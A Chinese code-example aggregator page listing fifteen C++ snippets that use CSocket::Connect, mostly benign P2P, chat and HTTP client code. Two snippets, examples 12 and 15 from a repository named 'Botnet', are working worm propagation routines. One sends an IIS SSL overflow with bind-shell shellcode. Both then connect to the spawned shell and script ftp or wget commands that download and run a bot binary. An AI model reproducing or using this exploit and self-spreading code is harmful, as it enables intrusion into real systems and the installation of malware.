当前位置: 首页>>代码示例>>C++>>正文


C++ CSocket::Connect方法代码示例

本文整理汇总了C++中CSocket::Connect方法的典型用法代码示例。如果您正苦于以下问题:C++ CSocket::Connect方法的具体用法?C++ CSocket::Connect怎么用?C++ CSocket::Connect使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在CSocket的用法示例。


在下文中一共展示了CSocket::Connect方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。

示例1: update_neighbour

/* 更新新加入节点的前继节点的后继和后继的后继,
 * 以及新加入节点的后继节点的前继和前继的前继
 */
void Join::update_neighbour()
{
	theApp.scout<<"++++update neighbour++++"<<endl;
	int suc = peer->fingerTable.sucId;
	string sucIp = peer->fingerTable.sucIP;
	int sucPort = peer->fingerTable.sucPort;
			
	int pre = peer->fingerTable.preId;
	string preIp = peer->fingerTable.preIP;
	int prePort = peer->fingerTable.prePort;

	//更新前继节点的后继和后继的后继
	stringstream ss1,ss2,ss3,ss4,ss5,ss6;
	ss1<<peer->fingerTable.port;ss2<<sucPort;ss3<<prePort;
	ss4<<peer->getId();ss5<<suc;ss6<<pre;
	string cmd = "newSuc " + peer->fingerTable.ip + " " + ss1.str() + " " + ss4.str() + " " + ss5.str() + " " + sucIp + " " + ss2.str();
	CSocket socket;
	socket.Connect(preIp.c_str(),prePort);
	socket.WriteLine(cmd);
	socket.Close();

	//更新后继节点的前继和前继的前继
	cmd = "newPre " + peer->fingerTable.ip + " " + ss1.str() + " " + ss4.str() + " " + ss6.str() + " " + preIp + " " + ss3.str();
	socket.Connect(sucIp.c_str(),sucPort);
	socket.WriteLine(cmd);
	socket.Close();

	//更新前继的前继和后继的后继,他们只需要部分字段
	suc_suc_pre_pre();
}
开发者ID:Yelbosh,项目名称:P2PSharing,代码行数:33,代码来源:Join.cpp

示例2: init_suc_suc_pre_pre

/* 更新新加入节点的前继的前继和后继的后继
 * 通过向前继节点发出yourpre命令找出前继的前继,向后继节点发出yoursuc命令找出后继的后继
 */
void Join::init_suc_suc_pre_pre()
{
	//后继的后继
	string cmd = "yoursuc";
	CSocket socket;
	socket.Connect(peer->fingerTable.sucIP.c_str(),peer->fingerTable.sucPort);
	socket.WriteLine(cmd);
	string k = socket.ReadLine();
	vector<string> s = Tool::Split(k," ");
	peer->fingerTable.sucsucIP = s[0];
	peer->fingerTable.sucsucPort = atoi(s[1].c_str());
	peer->fingerTable.sucsucId = atoi(s[2].c_str());
	socket.Close();

	theApp.scout<<"@@@@@@@@@@@@@@@"<<endl;

	//前继的前继
	cmd = "yourpre";
	socket.Connect(peer->fingerTable.preIP.c_str(),peer->fingerTable.prePort);
	socket.WriteLine(cmd);
	k = socket.ReadLine();
	s = Tool::Split(k," ");
	peer->fingerTable.prepreIP = s[0];
	peer->fingerTable.preprePort = atoi(s[1].c_str());
	peer->fingerTable.prepreId = atoi(s[2].c_str());
	socket.Close();
}
开发者ID:Yelbosh,项目名称:P2PSharing,代码行数:30,代码来源:Join.cpp

示例3: main

int main(int argc, char* argv[]){
	CSocket csocket;
	cout<<"Input The Server IP: ";
	cin>>serverIp;
	bool connect=csocket.Connect(serverIp,serverPort);
	csocket.SetBlocking(false);
	if(connect)
	{
		csocket.printTime();cout<<"connected"<<endl;
		uintptr_t threadId=_beginthread(recv,0,&csocket);//启动一个线程接收数据的线程
		while(1)
		{
			char buf[BUF_LEN];
			cin>>buf;
			 
			csocket.Send(buf,strlen(buf));
			if(csocket.IsExit())
			{  
				csocket.Close(); 
				cout<<"exit success"<<endl;
				break;
			} 
		}
	}else
	{
开发者ID:yifan02,项目名称:ChatRoom,代码行数:25,代码来源:Client.cpp

示例4: SendNotification

	void SendNotification(CModule& module, const CString& sSender, const CString& sNotification, const CChan *pChannel) {
		// todo parse from m_sPushEndpoint
		bool bUseTLS = true;
		CString sHostname = "api.palaverapp.com";
		unsigned short uPort = 443;
		CString sPath = "/1/push";

		CString sJSON = "{";
		sJSON += "\"message\": \"" + sNotification.Replace_n("\"", "\\\"") + "\"";
		sJSON += ",\"sender\": \"" + sSender.Replace_n("\"", "\\\"") + "\"";
		if (pChannel) {
			sJSON += ",\"channel\": \"" + pChannel->GetName().Replace_n("\"", "\\\"") + "\"";
		}
		sJSON += "}";

		CSocket *pSocket = new CSocket(&module);
		pSocket->Connect(sHostname, uPort, bUseTLS);
		pSocket->Write("POST " + sPath + " HTTP/1.1\r\n");
		pSocket->Write("Host: " + sHostname + "\r\n");
		pSocket->Write("Authorization: Bearer " + GetToken() + "\r\n");
		pSocket->Write("Connection: close\r\n");
		pSocket->Write("User-Agent: ZNC\r\n");
		pSocket->Write("Content-Type: application/json\r\n");
		pSocket->Write("Content-Length: " + CString(sJSON.length()) + "\r\n");
		pSocket->Write("\r\n");
		pSocket->Write(sJSON);
		pSocket->Close(Csock::CLT_AFTERWRITE);
		module.AddSocket(pSocket);
	}
开发者ID:sjoness,项目名称:znc-palaver,代码行数:29,代码来源:palaver.cpp

示例5: OnGetSource

void CTcpClientDlg::OnGetSource() 
{
	 CSocket s;
	 
	 if(!s.Create()) {
		 AfxMessageBox("소켓 생성 실패");
		 return;
	 }

	 if(!s.Connect("www.google.com", 80)) {
		 AfxMessageBox("접속 실패!");
		 return ;
	 }

	 //GET 명령으로 데이터를 얻어옴
	 //GET 명령 형식 : GET 대상URL HTTP/1.0 <enter><enter>
	 char * cmd = "GET / HTTP/1.0\r\n\r\n";

	 s.Send(cmd, strlen(cmd));

	 char buf[100];
	 ZeroMemory(buf, 100);
	 while(s.Receive(buf, 1000)) {
		 AfxMessageBox(buf);
		 ZeroMemory(buf, 1000);
	 }
}
开发者ID:ornarium,项目名称:study.book.tcpip-socket-programming,代码行数:27,代码来源:TcpClientDlg.cpp

示例6: OnGetcgi

void CEditServer::OnGetcgi() 
{
	CSocket socket;
	CArchive*in;
	CArchive*out;
	CSocketFile* pFile;

	if (!socket.Create())
	{
		return;
	}

	while (!socket.Connect(GETCGI_HOST,GETCGI_PORT))
	{
		return;
	}
	pFile = new CSocketFile(&socket);
	in = new CArchive(pFile,CArchive::load);
	out = new CArchive(pFile,CArchive::store);

	CString str= "GET ";
	str += GETCGI_PATH;
	str += " HTTP/1.0\n\n";

	out->Write(str, str.GetLength());
    out->Flush();

	CString line;
	int count=0;
	CString n,h,p;
	while (in->ReadString(line)) {
		int c=line.Find("####");
		if (c==-1)
			continue;
		n=line.Left(c);
		line=line.Mid(c+4);
		c=line.Find("####");
		if (c==-1)
			continue;
		h=line.Left(c);
		p=line.Mid(c+4);
		m_name[count]=n;
		m_host[count]=h;
		m_port[count]=atoi(p);
		count++;
	}
	if (count!=0)
		m_count=count;
	in->Close();
	out->Close();
	pFile->Close();
	socket.Close();

	delete out;
	delete in;
	delete pFile;
	UpdateList();
	m_list.SetCurSel(0);
	return;
}
开发者ID:ifojp,项目名称:chat97,代码行数:60,代码来源:editserver.cpp

示例7: suc_suc_pre_pre

/*更新前继的前继和后继的后继*/
void Join::suc_suc_pre_pre()
{
	CSocket socket;
	socket.Connect(peer->fingerTable.sucsucIP.c_str(),peer->fingerTable.sucsucPort);
	string cmd = "set_your_pre_pre ";
	stringstream ss,ss1;ss<<peer->getId();ss1<<peer->getPort();
	cmd += (ss.str() + " " + peer->getLocalIp() + " " + ss1.str());
	socket.WriteLine(cmd);
	socket.Close();

	socket.Connect(peer->fingerTable.prepreIP.c_str(),peer->fingerTable.preprePort);
	cmd = "set_your_suc_suc ";
	cmd += (ss.str() + " " + peer->getLocalIp() + " " + ss1.str());
	socket.WriteLine(cmd);
	socket.Close();
}
开发者ID:Yelbosh,项目名称:P2PSharing,代码行数:17,代码来源:Join.cpp

示例8: TestConnection

BOOL TestConnection( LPCTSTR lpstrAddress, int nPort)
{
	CSocket* pSocket;

	pSocket = new CSocket;
	ASSERT(pSocket);

	if (!pSocket->Create())
	{
		delete pSocket;
		pSocket = NULL;
		return FALSE;
	}

	while (!pSocket->Connect( lpstrAddress, nPort))
	{
		delete pSocket;
		pSocket = NULL;
		return FALSE;
	}

	pSocket->Close();
	delete pSocket;
	return TRUE;
}
开发者ID:OCSInventory-NG,项目名称:Agent-Deployment-Tool,代码行数:25,代码来源:OCS_DEPLOY_TOOL.cpp

示例9: OnBtnSend

void CNetworkTalkClientDlg::OnBtnSend() 
{
	// TODO: Add your control notification handler code here
	CSocket sockClient;
	sockClient.Create();
	sockClient.Connect(m_serverIPAddress,8000);
	g_serverIPAddress=m_serverIPAddress;
	sockClient.Send(m_sendText,m_sendText.GetLength());
	sockClient.Close();
	
}
开发者ID:tangooricha,项目名称:tangoorichas-design-for-graduation,代码行数:11,代码来源:NetworkTalkClientDlg.cpp

示例10: findPre

/*根据ip和port来寻找pre*/
string Join::findPre(string ip, int port)
{
	CSocket socket;
	socket.Connect(ip.c_str(),port);//连接服务器
	string cmd = "yourpre";
	socket.WriteLine(cmd);
	//读取查询结果
	string result = socket.ReadLine();
	theApp.scout<<result<<endl;
	return result;
}
开发者ID:Yelbosh,项目名称:P2PSharing,代码行数:12,代码来源:Join.cpp

示例11: findClosestPrecedingFinger

/*在要连接的节点的后继节点链表中,找出离新节点最近且是新节点的前继的节点*/
string Join::findClosestPrecedingFinger(int id, string remoteIp, int remotePort)
{
	stringstream ss;
	ss<<id;
	string cmd = "closestprecedingfinger " + ss.str();
	CSocket socket;
	socket.Connect(remoteIp.c_str(),remotePort);
	socket.WriteLine(cmd);
	//读取查询结果
	string result = socket.ReadLine();
	theApp.scout<<result<<endl;
	return result;
}
开发者ID:Yelbosh,项目名称:P2PSharing,代码行数:14,代码来源:Join.cpp

示例12: ExploitIISSSL

bool CScannerHTTP::ExploitIISSSL(int iHTTPType) {
	unsigned int	i;
	unsigned char	*badbuf, *p;
	unsigned long	offset=0x6741a1cd, XOR=0xffffffff;

	if(g_pMainCtrl->m_pBot->scaninfo_level.iValue >= 2) {
		SendLocal("%s: scanning ip %s", m_sScannerName.CStr(), m_sSocket.m_szHost); } 
	
	char sslshit[]="\x80\x62\x01\x02\xbd\x00\x01\x00\x01\x00\x16\x8f\x82\x01\x00\x00\x00";

	/* hidden cmd.exe, bind port 1981 */
	char shellcode[]="\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x66\x01\x80\x34\x0A\x99\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x99\x98\x99\x99\xC3\x21\x95\x69\x64\xE6\x12\x99\x12\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x9A\x6A\x12\xEF\xE1\x9A\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0\x71\xE5\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41\xF3\x9D\xC0\x71\xF0\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B\x66\xCE\x69\x12\x41\x5E\x9E\x9B\x99\x9E\x24\xAA\x59\x10\xDE\x9D\xF3\x89\xCE\xCA\x66\xCE\x6D\xF3\x98\xCA\x66\xCE\x61\xC9\xC9\xCA\x66\xCE\x65\x1A\x75\xDD\x12\x6D\xAA\x42\xF3\x89\xC0\x10\x85\x17\x7B\x62\x10\xDF\xA1\x10\xDF\xA5\x10\xDF\xD9\x5E\xDF\xB5\x98\x98\x99\x99\x14\xDE\x89\xC9\xCF\xCA\xCA\xCA\xF3\x98\xCA\xCA\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xCA\x66\xCE\x7D\xC9\x66\xCE\x71\xAA\x59\x35\x1C\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59\x5A\x71\x62\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xD5\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFB\xF0\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED\x99";

	badbuf=(unsigned char*)malloc(347); memset(badbuf, 0, 347);
	p=badbuf; memcpy(p, sslshit, sizeof(sslshit));
	p+=sizeof(sslshit)-1; strcat((char*)p, jumper);
	strcat((char*)p, greetings_to_microsoft);

	offset^=XOR; strncat((char*)p, (char*)&offset, 4);
	strcat((char*)p, shellcode);

	if(!m_sSocket.Write((char*)badbuf, 346)) { m_sSocket.Disconnect(); return false; }
	Sleep(1000); CSocket outSocket;
	if(!outSocket.Connect(m_sSocket.m_szHost, 1981)) {
		if(g_pMainCtrl->m_pBot->scaninfo_level.iValue>=2)
			SendLocal("%s: Not vulnerable: %s", m_sScannerName.CStr(), m_sSocket.m_szHost);
		m_sSocket.Disconnect(); return false; }

	/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
	/* Thanks to PhaTTy for this piece of code :)                */
	char mkdir_buff[400]="";
	int iPort=g_pMainCtrl->m_pBot->bot_ftrans_port_ftp.iValue;
	/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/

	sprintf(mkdir_buff, "echo open %s %d > bla.txt\necho user blah blah >> bla.txt\necho binary >> bla.txt\necho get %s >> bla.txt\necho quit >> bla.txt\nftp.exe -n -s:bla.txt\n%s\n",
		g_pMainCtrl->m_pIRC->m_sLocalIp.CStr(), iPort, "bot.exe", "bot.exe");

	char szRecvBuf[8192];
	if(!outSocket.RecvTO(szRecvBuf, sizeof(szRecvBuf), 5000)) {
		m_sSocket.Disconnect(); outSocket.Disconnect(); return false; }

	Sleep(500);

	if(!outSocket.Write((char *) mkdir_buff, sizeof(mkdir_buff))) {
		m_sSocket.Disconnect(); outSocket.Disconnect(); return false; }

	/* successful!!! */
	if(g_pMainCtrl->m_pBot->scaninfo_level.iValue>=2) {
		SendLocal("%s: Exploited %s", m_sScannerName.CStr(), m_sSocket.m_szHost); }

	m_sSocket.Disconnect(); return true; }
开发者ID:A-Massarella,项目名称:Botnet,代码行数:51,代码来源:httpscanner.cpp

示例13: transfer_keys

/*
 * 新节点加入拓扑时,需要把本属于它的key的hash从别的节点上转移过来
 */
void Join::transfer_keys()
{
	theApp.scout<<"++++ In the transfer key++++"<<endl;
	int sucId = peer->fingerTable.sucId;
	string sucIp = peer->fingerTable.sucIP;
	int sucPort = peer->fingerTable.sucPort;
	stringstream ss1,ss2,ss3,ss4;ss1<<peer->fingerTable.port;ss2<<peer->getId();ss3<<peer->fingerTable.preId;
	string cmd = "transfer_key " + peer->fingerTable.ip + " " + ss1.str() + " " + ss2.str() + " " + ss3.str();
	if (sucId == peer->getId())
		return;
	CSocket socket;
	socket.Connect(peer->fingerTable.sucIP.c_str(),peer->fingerTable.sucPort);
	socket.WriteLine(cmd);
	socket.Close();
}
开发者ID:Yelbosh,项目名称:P2PSharing,代码行数:18,代码来源:Join.cpp

示例14: main

int main(int argc, char* argv[]){
	CSocket csocket;
	CPacket packet;
	int Command;
	char* sendMessage = new char[BUF_LEN];
	parse_arguments(argc, argv);
	if (!s_serverPort) {
		cout<<"! The server port number is not defined."<<endl;
		usage(argv[0]);
		return 1;
	}
	if (!s_serverIP) {
		cout<<"! The server ip address is not defined"<<endl;
		usage(argv[0]);
		return 1;
	}
	bool connect=csocket.Connect(s_serverIP,s_serverPort);
	csocket.SetBlocking(false);//设置阻塞模式
	//on_login_reply(!connect);
	if(connect)
	{
		cout<<"Connect the server success,please login."<<endl;
		show_prompt();
		uintptr_t threadId=_beginthread(recv,0,&csocket);//启动一个线程接收数据的线程 
		while(1)
		{
			char buf[BUF_LEN];
			cin>>buf;
			if (Command = packet.paseArguement(buf))
			{
				memset(sendMessage, 0, 1024);
				sendMessage = packet.getCommand(Command);
			}
			show_prompt();
			csocket.Send(sendMessage,sizeof(buf));
			//csocket.Receive(64);
			if(csocket.IsExit())
			{
				csocket.Close(); 
				cout<<"exit success"<<endl;
				break;
			} 
		}
	}
	else
	{
开发者ID:SilenceMrWang,项目名称:win32game,代码行数:46,代码来源:Client.cpp

示例15: Exploit

bool CScannerEthereal::Exploit() {
	if(!IsPrivate(g_pMainCtrl->m_pIRC->m_sLocalIp.CStr()) && IsPrivate(m_sSocket.m_szHost)) return false;

	// We need root to exploit this cause we need to spoof packets
	if(getuid()) return false;

	ExploitInt(0); ExploitInt(1); ExploitInt(2); ExploitInt(3);
	
	CSocket sShellSocket; if(sShellSocket.Connect(m_sSocket.m_szHost, 31337)) {
		CString sCmdBuf; sShellSocket.RecvTO(sCmdBuf.GetBuffer(8192), 8192, 2000);
		sCmdBuf.Format("echo -e open %s %d\\nuser ftp bla\\nget bot\\nquit\\n | ftp -n\n", g_pMainCtrl->m_pIRC->m_sLocalHost.CStr(), g_pMainCtrl->m_pBot->bot_ftrans_port_ftp.iValue);
		sShellSocket.Write(sCmdBuf.CStr(), sCmdBuf.GetLength()); sShellSocket.Recv(sCmdBuf.GetBuffer(8192), 8192);
		sCmdBuf.Format("wget ftp://bla:[email protected]%s:%d/bot\n", g_pMainCtrl->m_pIRC->m_sLocalHost.CStr(), g_pMainCtrl->m_pBot->bot_ftrans_port_ftp.iValue);
		sShellSocket.Write(sCmdBuf.CStr(), sCmdBuf.GetLength()); sShellSocket.Recv(sCmdBuf.GetBuffer(8192), 8192);
		sCmdBuf.Assign("chmod 777 ./bot ; ./bla\n");
		sShellSocket.Write(sCmdBuf.CStr(), sCmdBuf.GetLength()); sShellSocket.Recv(sCmdBuf.GetBuffer(8192), 8192);
		sShellSocket.Disconnect(); return true; } else return false; }
开发者ID:A-Massarella,项目名称:Botnet,代码行数:17,代码来源:etherealscanner.cpp


注:本文中的CSocket::Connect方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。